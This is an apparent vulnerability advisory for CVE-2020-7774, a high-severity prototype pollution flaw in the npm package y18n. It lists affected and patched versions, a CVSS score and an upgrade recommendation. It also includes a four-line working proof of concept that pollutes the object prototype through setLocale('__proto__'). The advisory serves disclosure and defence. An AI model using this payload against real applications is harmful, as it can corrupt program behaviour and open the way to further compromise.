Skip to content

Prototype Pollution

high severity Published Mar 29, 2021 • Updated Jun 15, 2021

Package

npm y18n (npm)

Affected versions

< 3.2.2
= 4.0.0
>= 5.0.0, < 5.0.5

Patched versions

3.2.2
4.0.1
5.0.5

Description

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

References

CVE ID

CVE-2020-7774

CVSS Score

7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N